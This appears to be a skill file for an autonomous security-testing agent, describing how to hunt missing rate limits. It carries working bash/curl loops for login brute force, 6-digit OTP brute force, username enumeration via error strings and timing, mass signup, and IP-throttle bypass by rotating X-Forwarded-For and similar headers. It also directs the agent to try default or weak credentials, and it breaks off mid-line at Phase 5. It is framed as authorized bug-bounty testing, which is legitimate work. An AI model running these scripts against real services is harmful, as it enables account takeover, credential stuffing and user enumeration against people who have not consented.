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name: hunt-brute-force description: "Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA (CAPTCHA token replay / single-use / concurrency-window bypass specifics → hunt-captcha-bypass), IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical)." sources: public_research report_count: 6

HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration

Grounding note: this skill is built from published technique classes, not from a curated set of named HackerOne reports. report_count is intentionally 0 — do not cite an exact payout or report ID you cannot verify. Where a public case is well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation research, 2019–2021), it is named below as a technique reference, not a payout claim.

Crown Jewel Targets

OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.

Highest-value chains:

• OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on /verify-otp, full 000000–999999 keyspace reachable
• Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
• Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
• Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
• ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS

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Autonomous Testing Priority

Work within your turn budget — prioritize signal over volume.

You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.

Strategy:

1. Identify the login endpoint and the expected parameter names (username/email, password).
2. Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation).
3. After 3-5 failed attempts, check for rate-limit signals (429 status, "too many attempts" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability.
4. Use form-encoding for traditional login forms, JSON for REST API login endpoints.

What to look for as success:

• Session token or JWT in the response body or Set-Cookie header
• Redirect to authenticated dashboard
• Response body that differs from the failed-login baseline

Username enumeration (separate finding): Try a known-valid username vs a random one. If the error message differs ("Wrong password" vs "User not found") or response time differs → user enumeration vulnerability, even without a successful login.

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CRITICAL: Four rate-limit states — do not collapse them

A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting skill that only checks for 429/lockout produces false negatives. Classify the defense BEFORE concluding, by sending a burst of ~50 requests and watching the full response (status, body, headers, latency, and downstream success):

| State | Signal | Brute still feasible? | |-------|--------|-----------------------| | Hard account lockout | account disabled after N fails; later correct creds also fail | No (but lockout itself can be a DoS finding) | | Soft IP throttle | 429 / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) | | CAPTCHA injection | 200 but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it | | Silent shadow-throttle | 200/401 returned for every request, but submissions are dropped — the genuinely-correct OTP/password stops being accepted, or responses become canned | This is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |

Shadow-throttle detector — inject a known-good value at a known position and confirm it still works under load:

# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.

---

Step-by-Step Hunting Methodology

Phase 1 — Login Rate Limit Test (classify, don't just count 429s)

# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)

Phase 2 — OTP / 2FA Brute Force

# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.

Phase 3 — Username / Email Enumeration (string AND status AND timing)

VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"

Phase 3b — Unthrottled registration (mass account creation)

An unrate-limited signup endpoint is an abuse finding on its own, not just an enumeration oracle: burst */signup/*/register (rotate email + source per request) and confirm N accounts are actually created with no 429/CAPTCHA/lockout → automated mass-account creation (spam, promo/referral abuse, resource exhaustion). Low–Medium standalone; higher when it chains to a paid/limited resource. Disclosed: reports/2915502.

Phase 4 — IP / Source Rotation Bypass

# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.

Phase 5 — Token Entropy (measure it, don't eyeball it)

# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for